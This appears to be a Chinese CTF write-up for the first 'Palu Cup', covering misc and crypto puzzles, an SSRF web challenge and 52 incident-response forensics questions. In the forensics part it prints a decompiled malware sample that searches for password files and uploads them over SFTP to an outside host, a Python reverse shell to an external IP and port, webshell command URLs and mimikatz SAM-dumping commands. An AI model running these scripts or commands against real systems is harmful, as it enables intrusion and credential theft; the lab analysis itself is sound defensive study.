第一届 “帕鲁杯“ writeup

文章目录

    • Misc
      • Misc-签到
      • FM 145.8
      • ez_misc
      • 为什么我的新猫猫吃不饱
    • Crypto
      • 玛卡巴卡有什么坏心思呢
    • web
      • Web-签到
    • 应急响应
      • 1.找到JumpServer堡垒机中flag标签的值。
      • 2.提交攻击者第一次登录时间。
      • 3.提交攻击者源IP。
      • 4.提交攻者使用的cve编号。
      • 5.提交攻击者留在Web服务器上的恶意程序的32位小写md5值。
      • 6.分析恶意程序连接地址和密码。
      • 7.提交存在反序列化漏洞的端口。
      • 8.提交攻击者使用的后门路由地址。
      • 9.提交dnslog反弹域名。
      • 10.提交第一次扫描器使用时间。
      • 11.提交攻击者反弹shell使用的语言。
      • 12.提交攻击者反弹shell的ip。
      • 13.提交攻击者留下的账号。
      • 14.提交攻击者的后门账户密码。
      • 15.提交测试数据条数。
      • 16.请提交攻击者留下的信息。
      • 17.请提交运维服务器上的恶意文件md5
      • 18.提交恶意文件的恶意函数。
      • 19.请提交攻击者恶意注册的恶意用户条数。
      • 20.请提交对博客系统的第一次扫描时间。
      • 21.提交攻击者下载的文件。
      • 22.请提交攻击者第一次下载服务器文件的时间。
      • 23.请提交攻击者留下的冰蝎马的文件名称。
      • 24.提交冰蝎的链接密码。
      • 25.提交办公区存在的恶意用户名。
      • 26.提交恶意用户密码到期时间。
      • 27.请对办公区留存的镜像取证并指出内存疑似恶意进程。
      • 28.请指出该员工使用的公司OA平台的密码。
      • 29.攻击者传入一个木马文件并做了权限维持,请问木马文件名是什么。
      • 30.请提交该计算机中记录的重要联系人的家庭住址。
      • 31.请提交近源靶机上的恶意文件哈希。
      • 32.提交恶意程序的外联地址。
      • 33.提交攻击者使用内网扫描工具的哈希。
      • 34.请提交攻击者在站点上留下的后门密码。
      • 35.请提交攻击者在数据库留下的信息。
      • 36.提交攻击者在监控服务器上留下的dcnlog地址。
      • 37.提交监控服务器上恶意用户的上一次登录时间。
      • 38.提交监控服务器上遗留的反弹shell地址和端口。
      • 39.提交恶意钓鱼文件的哈希。
      • !40.提交恶意文件外连IP。
      • 41.提交被恶意文件钓鱼使用者的姓名。
      • 42.提交攻击者留下的信息。
      • 43.提交恶意用户数量。
      • 44.请提交员工集体使用的密码。
      • 45.提交加密文件的哈希。
      • 46.提交被攻击者加密的内容明文。
      • 47.请提交符合基线标准的服务器数量。
      • 48.提交办公区的恶意文件哈希。
      • 49.提交恶意回连端口。
      • 50.提交恶意程序中的flag。
      • 51.提交恶意文件中的search_for_text内容。
      • !52.提交web服务器上攻击者修改后的root密码。

这次是跟朋友们打的,由于应急的题多侥幸拿了个稍微过得去的名次。主要是应急题做的差不多,故写wp

40和52不会

Misc

Misc-签到

使用python进行chr

python 复制代码
s = '''27880
30693
25915
21892
38450
23454
39564
23460
21457
36865
112
108
98
99
116
102
33719
21462
21069
27573
102
108
97
103
20851
27880
79
110
101
45
70
111
120
23433
20840
22242
38431
22238
22797
112
108
98
99
116
102
33719
21462
21518
27573
102
108
97
103'''.split('\n')
for i in s:
        print(chr(int(i)),end='')

关注知攻善防实验室发送plbctf获取前段flag关注One-Fox安全团队回复plbctf获取后段flag

关注即可

flag 复制代码
flag{TreJaiuLT1rgbdfG0Eay}

观察到

江汉 薪金珠宝,搜一下即可在3D地图上找到

然后根据格式提交

flag 复制代码
flag{湖北省武汉市江汉二路与江汉路步行街交叉路口}

FM 145.8

一眼SSTV

flag 复制代码
flag{19b4dD77bF3c66f91c23F5A25Bc314CB}

ez_misc

图片尾有一段空白字符,不是whitespace是snow。复制下来保存到新文件里

空密码能解出一段Carefree and carefree,直接就是压缩包密码,解压即可

flag 复制代码
flag{b220116fc6ca827ecf3cb6c6c06dac26}

为什么我的新猫猫吃不饱

旧题存在附件未删干净,被更新题目了(

首先在gif尾发现第一段flag:UOZT{NB_XZ1_

至于为什么不要后面的HHT5,请看下一张图

使用atbash--》flag{my_ca1_ (FLAG{MY_CA1_)

第二段在gif+png里

用gifframe分离出来,然后发现Frame22和png一致,拿去盲水印,这里试了好几个最后是linya的频域盲水印

1s_Fu11}

flag{my_ca1_1s_Fu11}交不上

然后下午4点flag更新了,交的上了

flag 复制代码
flag{my_ca1_1s_Fu11}

Crypto

玛卡巴卡有什么坏心思呢

搜索"玛卡巴卡编码" 解密

找到github项目地址,找commithttps://github.com/ChinaRan0/Drt-AAV/commit/8f42d480e0626e3af176db12df520026b6e5c076#diff-6e1d6f196dc2487346f7ae8aafe3edb28a6abc558b567c516853104163968f12

找到码表,写个脚本转换

python 复制代码
def decode_message(encoded_message, encoding_rules):
    decoding_rules = {v: k for k, v in encoding_rules.items()}
    decoded_message = ""
    i = 0
    while i < len(encoded_message):
        for encoded_str in sorted(decoding_rules.keys(), key=len, reverse=True):
            if encoded_message[i:].startswith(encoded_str):
                decoded_message += decoding_rules[encoded_str]
                i += len(encoded_str)
                break
        else:
            i += 1

    return decoded_message

encoding_rules = {
    'a': '玛卡巴卡轰',
    'b': '阿巴雅卡轰',
    'c': '伊卡阿卡噢轰',
    'd': '哈姆达姆阿卡嗙轰',
    'e': '咿呀呦轰',
    'f': '玛卡雅卡轰',
    'g': '伊卡阿卡轰',
    'h': '咿呀巴卡轰',
    'i': '达姆阿卡嗙轰',
    'j': '玛卡巴卡玛卡巴卡轰',
    'k': '玛卡巴卡玛卡巴卡玛卡巴卡轰',
    'l': '玛卡巴卡玛卡巴卡玛卡巴卡玛卡巴卡轰',
    'm': '阿巴雅卡阿巴雅卡轰',
    'n': '阿巴雅卡阿巴雅卡阿巴雅卡轰',
    'o': '阿巴雅卡阿巴雅卡阿巴雅卡阿巴雅卡轰',
    'p': '伊卡阿卡噢伊卡阿卡噢轰',
    'q': '伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢轰',
    'r': '伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢轰',
    's': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
    't': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
    'u': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
    'v': '咿呀呦咿呀呦轰',
    'w': '咿呀呦咿呀呦咿呀呦轰',
    'x': '咿呀呦咿呀呦咿呀呦咿呀呦轰',
    'y': '咿呀呦咿呀呦咿呀呦咿呀呦咿呀呦轰',
    'z': '玛卡雅卡玛卡雅卡轰',
    'A': '玛卡雅卡玛卡雅卡玛卡雅卡轰',
    'B': '玛卡雅卡玛卡雅卡玛卡雅卡玛卡雅卡轰',
    'C': '伊卡阿卡伊卡阿卡轰',
    'D': '伊卡阿卡伊卡阿卡伊卡阿卡轰',
    'E': '伊卡阿卡伊卡阿卡伊卡阿卡伊卡阿卡轰',
    'F': '咿呀巴卡咿呀巴卡轰',
    'G': '咿呀巴卡咿呀巴卡咿呀巴卡轰',
    'H': '咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡轰',
    'I': '咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡轰',
    'J': '达姆阿卡嗙达姆阿卡嗙轰',
    'K': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
    'L': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
    'M': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
    'N': '巴卡巴卡轰',
    'O': '巴卡巴卡巴卡巴卡轰',
    'P': '巴卡巴卡巴卡巴卡巴卡巴卡轰',
    'Q': '巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡轰',
    'R': '巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡轰',
    'S': '呀呦轰',
    'T': '呀呦呀呦轰',
    'U': '呀呦呀呦呀呦轰',
    'V': '呀呦呀呦呀呦呀呦轰',
    'W': '呀呦呀呦呀呦呀呦呀呦轰',
    'X': '达姆阿卡轰',
    'Y': '达姆阿卡达姆阿卡轰',
    'Z': '达姆阿卡达姆阿卡达姆阿卡轰',
    '0': '达姆阿卡达姆阿卡达姆阿卡达姆阿卡轰',
    '1': '达姆阿卡达姆阿卡达姆阿卡达姆阿卡达姆阿卡轰',
    '2': '玛巴轰',
    '3': '玛巴玛巴轰',
    '4': '玛巴玛巴玛巴轰',
    '5': '玛巴玛巴玛巴玛巴轰',
    '6': '巴卡玛巴轰',
    '7': '巴卡玛巴巴卡玛巴轰',
    '8': '巴卡玛巴巴卡玛巴巴卡玛巴轰',
    '9': '巴卡玛巴巴卡玛巴巴卡玛巴巴卡玛巴轰',
    '=': '妈个巴子轰',
    '/': '妈个巴卡轰',
    '+': '妈个巴达轰',

}
encoded_message = "玛卡巴卡玛卡巴卡轰达姆阿卡嗙轰阿巴雅卡阿巴雅卡阿巴雅卡轰达姆阿卡嗙轰哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰玛卡巴卡轰达姆阿卡嗙轰阿巴雅卡阿巴雅卡轰咿呀呦轰达姆阿卡嗙轰"
decoded_text = decode_message(encoded_message, encoding_rules)
print(decoded_text)
#jinitaimei
flag 复制代码
flag{jinitaimei}

web

Web-签到

python 复制代码
from flask import Flask, request, jsonify
import requests
from flag import flag  # 假设从 flag.py 文件中导入了 flag 函数
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def getinfo():
    url = request.args.get('url')
    if url:
        # 请求url
        response = requests.get(url)
        content = response.text
        print(content)
        if "paluctf" in content:
            return flag
        else:
            return content
    else:
        response = {
            'message': 200,  # 这里是数值,不是字符串
            'data': "Come sign in and get the flag!"
        }
        return jsonify(response)
@app.route('/flag', methods=['GET', 'POST'])
def flag1():
    return "paluctf"

if __name__ == '__main__':
    app.run(debug=True, host="0.0.0.0", port=80)

能够看到需要带有paluctf才能够得到flag,那么直接?url=http://localhost/flag就能得到paluctf

因此最终payload:http://127.0.0.1:50258/?url=http://localhost/flag

应急响应

1.找到JumpServer堡垒机中flag标签的值。

访问后台http://192.168.20.123:8080,账号密码admin/Network@2020

在更多选项中标签里找到flag

flag 复制代码
[BrYeaVj54009rDIZzu4O]

2.提交攻击者第一次登录时间。

试了几个不对,然后准备试一个很特别的,没想到就是

flag 复制代码
[2024/04/11/14:21:18]

3.提交攻击者源IP。

在jumpserver的资产详情中找到ip

flag 复制代码
[192.168.1.4]

4.提交攻者使用的cve编号。

攻击者登陆后使用了作业模块,联系到最近刚出的jumpserver的两个新漏洞,拿下

flag 复制代码
[CVE-2024-29201]

5.提交攻击者留在Web服务器上的恶意程序的32位小写md5值。

在root下有一个home,一开始看到了放vt上看没毒就以为不是这个文件,后来发现在jumpserver上出题人计算了这个文件的hash就觉的不简单。

导出

flag 复制代码
[84413332e4e7138adc5d6f1f688ddd69]

6.分析恶意程序连接地址和密码。

第一次知道linux的python程序也能用unpacker

甚至版本,那就在线吧

python 复制代码
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.10

import os
import paramiko
from getpass import getpass

def search_in_files(directory, search_text):
    pass
# WARNING: Decompyle incomplete


def ssh(local_file_path, remote_file_path):
    hostname = '82.157.238.111'
    port = 22
    username = 'root'
    password = '1qaz@WSX3edc'
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(hostname, port, username, password)
    sftp = client.open_sftp()
    sftp.put(local_file_path, remote_file_path)
    sftp.close()
    client.close()
    print(f'''File {local_file_path} uploaded to {remote_file_path} on {hostname}''')

search_directory = '/'
search_for_text = 'passwod'
(a, b) = search_in_files(search_directory, search_for_text)
ssh(a, b)
flag 复制代码
[e695461c231aee4ed46b201efca18ff8-7da188c2e2d83e38b7d9e75e500f1af8]

7.提交存在反序列化漏洞的端口。

在WAF中找到shell路径和密码,查看当前网络开发情况
http://192.168.20.121/?123=system(%27netstat%20-anpt%27);

发现有7001,8080,测试后8080为反序列化漏洞的端口

flag 复制代码
[8080]

8.提交攻击者使用的后门路由地址。

在jumpserver里的记录里面发现cat了app.py

尝试提交/api/system的答案,对的

flag 复制代码
[948c4425bad48511fd6281d345ee69a1]  

9.提交dnslog反弹域名。

发现flask文件夹下有一个log.txt

提交0vqkht.dnslog.cn答案不对,往后找到还有0vqkht.palu.cn

flag 复制代码
[86fedf00e173a0d531be569028fc1f6e]

10.提交第一次扫描器使用时间。

在上面找到log日志,可以发现间隔时间非常之短,有没有可能就是扫描器呢?

没想到对了...这也算扫描器

flag 复制代码
[2024/04/15/02:26:59]

11.提交攻击者反弹shell使用的语言。

在log日志找到python

flag 复制代码
[23eeeb4347bdd26bfc6b7ee9a3b755dd]

12.提交攻击者反弹shell的ip。

同上图

flag 复制代码
[82.157.238.174]

13.提交攻击者留下的账号。

flag 复制代码
[palu.com]

14.提交攻击者的后门账户密码。

用dg打开然后看shadow

猜测能用rockyou爆破

密码123123

flag 复制代码
[4297f44b13955235245b2497399d7a93]

15.提交测试数据条数。

看mysql1,5条

flag 复制代码
[e4da3b7fbbce2345d7772b0674a318d5]

16.请提交攻击者留下的信息。

在/var/log/nginx下想查看日志的时候,发现一个hack文件

flag 复制代码
flag{hi_palu_f10g}

17.请提交运维服务器上的恶意文件md5

在jumpserver上看到上传了个helloworld

找到在lib下,直接拷贝的镜像看不到lib文件

同时也计算了helloworld的hash,猜测可能是相关题目,用base64输出一下

拷贝出来解码,计算一下hash即可

flag 复制代码
[0fca0f847a45401c878d7a5303ddc1f8]

18.提交恶意文件的恶意函数。

不知道为什么不是haveadoor,答案是begingame

flag 复制代码
[ddd0599cda1fc289a617db148d75383b]

19.请提交攻击者恶意注册的恶意用户条数。

10

flag 复制代码
[d3d9446802a44259755d38e6d163e820]

20.请提交对博客系统的第一次扫描时间。

flag 复制代码
[2024/04/16/21:03:46]  

21.提交攻击者下载的文件。

在WAF里发现下载了一个upload.zip

flag 复制代码
[upload.zip]

22.请提交攻击者第一次下载服务器文件的时间。

这题是做的倒数第7题,之前在做的时候找到log日志

这次是找到的jumpserver里也多次出现的other_vhosts_access

然后发现这里面的格式就是flag格式,尝试搜了一下upload.zip

flag 复制代码
[16/Apr/2024:09:03:52]

23.请提交攻击者留下的冰蝎马的文件名称。

用自带的后门查看一下

view-source:http://192.168.20.121/?123=system('cat ./api/nidewen.php');

名称nidewen.php

flag 复制代码
[nidewen.php]

24.提交冰蝎的链接密码。

通过搜索可知,该密钥为连接密码32位md5值的前16位

秘钥1be873048db838ac

...,再来试试rockyou.txt字典,也不行,留着了。

Github 搜索,启动!

flag 复制代码
[nidewen]

25.提交办公区存在的恶意用户名。

登录时一共两个账号,一个administrator,另一个就是hacker

flag 复制代码
[hacker]

26.提交恶意用户密码到期时间。

cmd管理员运行net user hacker

不过这题在jumpserver里看操作记录视频回放也能看到

flag 复制代码
[2024/5/28/21:40:37]

27.请对办公区留存的镜像取证并指出内存疑似恶意进程。

windows,好,winhex导出

windows10是吧,volatility3启动

发现.hack.ex

flag 复制代码
[.hack.ex]

28.请指出该员工使用的公司OA平台的密码。

在查看内存文件的时候,发现用户叫qiyue

我有七月师傅的好友,然后在我印象里他应该不在这个团队

并且这个.hack.ex我有印象

google搜了一下"".hack.ex" "CTF""

https://blog.csdn.net/qq_22406677/article/details/135001795

不过网上只有答案没有wp。

既然这样我就不用vol3来做了

很轻易再次证明和本次PC1没有关系。

然后iehistory一下发现访问过一个password.txt,filescan+dumpfiles导出

密码liuling7541

flag 复制代码
[liuling7541]

29.攻击者传入一个木马文件并做了权限维持,请问木马文件名是什么。

用多个命令来查看基本信息,在查看剪贴板的时候发现一个文件h4ck3d!

flag 复制代码
[h4ck3d!]

30.请提交该计算机中记录的重要联系人的家庭住址。

找Contact

王总一看就很重要

不愧是王总,秋水省雁荡市碧波区千屿山庄1号

flag 复制代码
[秋水省雁荡市碧波区千屿山庄1号]

31.请提交近源靶机上的恶意文件哈希。

打开电脑自动打开开始菜单的一个文件夹,猜测为恶意文件,使用windows自带的命令计算hash

flag 复制代码
[a7fcd0b15a080167c4c2f05063802a6e]

32.提交恶意程序的外联地址。

在虚拟机中安装vmware-tools,拖出来之后上传到vt
https://www.virustotal.com/gui/file/9f6ae95b5540d0d6c60e942fa68dee44b2781c58da3f21321f18b8384ab41084

找到这个CN的地址

flag 复制代码
[101.78.63.44]

33.提交攻击者使用内网扫描工具的哈希。

能够在记录里发现使用了fscan

发现路径为/bin

用md5sum计算一下即可

view-source:http://192.168.20.121/?123=system("md5sum /bin/fscan");

flag 复制代码
[1facdcd05c43ba4d37274dffc90b6d4e] 

34.请提交攻击者在站点上留下的后门密码。

第7题提到了密码是123

flag 复制代码
[202cb962ac59075b964b07152d234b70]

35.请提交攻击者在数据库留下的信息。

直接连上mysql1

flag 复制代码
[flag{hack_palu}]

36.提交攻击者在监控服务器上留下的dcnlog地址。

flag 复制代码
[palu.dcnlog.cn]

37.提交监控服务器上恶意用户的上一次登录时间。

搜索如何登录zabbix,找到http://192.168.20.12/zabbix/

顺便百度也给出来默认账号密码是Admin/zabbix

在用户处查看到最后一次登录时间

flag 复制代码
[2024/04/17/01:32:44]

38.提交监控服务器上遗留的反弹shell地址和端口。

见36的第6个命令,base解一下得到

python 复制代码
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("154.183.110.12",7890));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
flag 复制代码
[154.183.110.12:7890]

当然在平台上看也是可以的

39.提交恶意钓鱼文件的哈希。

在做45题时是搜索到了一个帕鲁杯初稿文件,猜测过会不会是钓鱼文档,测试后发现能提交

flag 复制代码
[da75025ff7f3b6baa27f5913c1c83063]

!40.提交恶意文件外连IP。

不会,尝试了翻事件管理器中的安全日志只出现了两个IP都试过了不对。

41.提交被恶意文件钓鱼使用者的姓名。

flag 复制代码
[陈琚鹭]

42.提交攻击者留下的信息。

看jumpserver

找视频

flag 复制代码
flag{2024-04-17-hi}

43.提交恶意用户数量。

在PC2上,打开cmd执行net user

一共49个

flag 复制代码
[f457c545a9ded88f18ecee47145a72c0]

44.请提交员工集体使用的密码。

使用winhex将SAM与SYSTEM导出
导出后使用mimikatz

sekurlsa::minidump SYSTEM

lsadump::sam /sam:SAM /system:SYSTEM

随便选一个看看

能够发现这个NTLM与administrator的NTLM是同一个,那么所有用户的密码都是administrator的密码

flag 复制代码
[Network@2020]

45.提交加密文件的哈希。

发现上传了一个docx文件,于是乎使用everything去搜一下

误打误撞找到加密文件

flag 复制代码
[2bf71a0d6d4e70cec7602da2b653e2ab]

46.提交被攻击者加密的内容明文。

脚本见crypto题目

flag 复制代码
[2024ispassword]

47.请提交符合基线标准的服务器数量。

不知道,我理解的就是6台机器里面标准的数量,1-6都不对,最后猜的0对了

flag 复制代码
[cfcd208495d565ef66e7dff9f98764da]

48.提交办公区的恶意文件哈希。

在jumpserver的会话中发现PC2上传了一个文件palucomeyi1.exe

传一个everything上去搜

算一下hash

flag 复制代码
[5232a191eb2913337e0a93b0a990f2a2]

49.提交恶意回连端口。

使用unpacker

然后uncompyle6

结果如下:

python 复制代码
# uncompyle6 version 3.9.0
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 2.7.18 (default, Jul  1 2022, 10:30:50) 
# [GCC 11.2.0]
# Embedded file name: palucomeyi1.py

#[此处省略400行由于反编译导致的无关代码]
Instruction context:
   
 L.  13        86  LOAD_FAST                'file_path'
                  88  LOAD_FAST                'search_text'
                  90  BUILD_TUPLE_2         2 
                  92  POP_BLOCK        
->                94  ROT_TWO          
                  96  BEGIN_FINALLY    
                  98  WITH_CLEANUP_START
                 100  WITH_CLEANUP_FINISH
                 102  POP_FINALLY           0  ''
                 104  ROT_TWO          
                 106  POP_TOP          
                 108  ROT_TWO          
                 110  POP_TOP          
                 112  RETURN_VALUE     
               114_0  COME_FROM            84  '84'
                 114  POP_BLOCK        
                 116  BEGIN_FINALLY    
               118_0  COME_FROM_WITH       66  '66'
                 118  WITH_CLEANUP_START
                 120  WITH_CLEANUP_FINISH
                 122  END_FINALLY      
                 124  JUMP_BACK            24  'to 24'
import os, paramiko
from getpass import getpass

def search_in_files--- This code section failed: ---

 L.   6         0  LOAD_GLOBAL              os
                2  LOAD_METHOD              walk
                4  LOAD_FAST                'directory'
                6  CALL_METHOD_1         1  ''
                8  GET_ITER         
               10  FOR_ITER            128  'to 128'
               12  UNPACK_SEQUENCE_3     3 
               14  STORE_FAST               'root'
               16  STORE_FAST               'dirs'
               18  STORE_FAST               'files'

 L.   7        20  LOAD_FAST                'files'
               22  GET_ITER         
             24_0  COME_FROM            36  '36'
               24  FOR_ITER            126  'to 126'
               26  STORE_FAST               'file'

 L.   8        28  LOAD_FAST                'file'
               30  LOAD_METHOD              endswith
               32  LOAD_STR                 '.txt'
               34  CALL_METHOD_1         1  ''
               36  POP_JUMP_IF_FALSE    24  'to 24'

 L.   9        38  LOAD_GLOBAL              os
               40  LOAD_ATTR                path
               42  LOAD_METHOD              join
               44  LOAD_FAST                'root'
               46  LOAD_FAST                'file'
               48  CALL_METHOD_2         2  ''
               50  STORE_FAST               'file_path'

 L.  10        52  LOAD_GLOBAL              open
               54  LOAD_FAST                'file_path'
               56  LOAD_STR                 'r'
               58  LOAD_STR                 'utf-8'
               60  LOAD_STR                 'ignore'
               62  LOAD_CONST               ('encoding', 'errors')
               64  CALL_FUNCTION_KW_4     4  '4 total positional and keyword args'
               66  SETUP_WITH          118  'to 118'
               68  STORE_FAST               'f'

 L.  11        70  LOAD_FAST                'f'
               72  LOAD_METHOD              read
               74  CALL_METHOD_0         0  ''
               76  STORE_FAST               'contents'

 L.  12        78  LOAD_FAST                'search_text'
               80  LOAD_FAST                'contents'
               82  COMPARE_OP               in
               84  POP_JUMP_IF_FALSE   114  'to 114'

 L.  13        86  LOAD_FAST                'file_path'
               88  LOAD_FAST                'search_text'
               90  BUILD_TUPLE_2         2 
               92  POP_BLOCK        
               94  ROT_TWO          
               96  BEGIN_FINALLY    
               98  WITH_CLEANUP_START
              100  WITH_CLEANUP_FINISH
              102  POP_FINALLY           0  ''
              104  ROT_TWO          
              106  POP_TOP          
              108  ROT_TWO          
              110  POP_TOP          
              112  RETURN_VALUE     
            114_0  COME_FROM            84  '84'
              114  POP_BLOCK        
              116  BEGIN_FINALLY    
            118_0  COME_FROM_WITH       66  '66'
              118  WITH_CLEANUP_START
              120  WITH_CLEANUP_FINISH
              122  END_FINALLY      
              124  JUMP_BACK            24  'to 24'
              126  JUMP_BACK            10  'to 10'

Parse error at or near `ROT_TWO' instruction at offset 94


def ssh(local_file_path, remote_file_path):
    hostname = '192.168.20.123'
    port = 22
    username = 'root'
    password = 'Network@2020'
    client = paramiko.SSHClient
    client.set_missing_host_key_policyparamiko.AutoAddPolicy
    client.connect(hostname, port, username, password)
    sftp = client.open_sftp
    sftp.putlocal_file_pathremote_file_path
    sftp.close
    client.close
    print(f"File {local_file_path} uploaded to {remote_file_path} on {hostname}")
    flag = 'flag{234567uyhgn_aiduyai}'


search_directory = '/'
search_for_text = 'passwod'
a, b = search_in_files(search_directory, search_for_text)
ssh(a, b)

端口22

flag 复制代码
[22]

50.提交恶意程序中的flag。

如上

flag 复制代码
flag{234567uyhgn_aiduyai}

51.提交恶意文件中的search_for_text内容。

如上上

flag 复制代码
[passwod]

!52.提交web服务器上攻击者修改后的root密码。

这个是真的一点思路没有

相关推荐
vortex527 分钟前
信息收集系列(六):路径爬取与目录爆破
网络安全·渗透·信息收集
.Ayang1 小时前
tomcat 后台部署 war 包 getshell
java·计算机网络·安全·web安全·网络安全·tomcat·网络攻击模型
Hacker_Oldv1 小时前
开放性实验——网络安全渗透测试
安全·web安全
星竹2 小时前
upload-labs-master第12关详细教程
网络安全
旦沐已成舟2 小时前
DevOps-Jenkins-新手入门级
服务器
饮长安千年月2 小时前
浅谈就如何解出Reverse-迷宫题之老鼠走迷宫的一些思考
python·网络安全·逆向·ctf
东方隐侠安全团队-千里2 小时前
网安瞭望台第3期:俄黑客 TAG - 110组织与密码攻击手段分享
网络·chrome·web安全·网络安全
软件技术员3 小时前
Let‘s Encrypt SSL证书:acmessl.cn申请免费3个月证书
服务器·网络协议·ssl
Rverdoser3 小时前
Linux环境开启MongoDB的安全认证
linux·安全·mongodb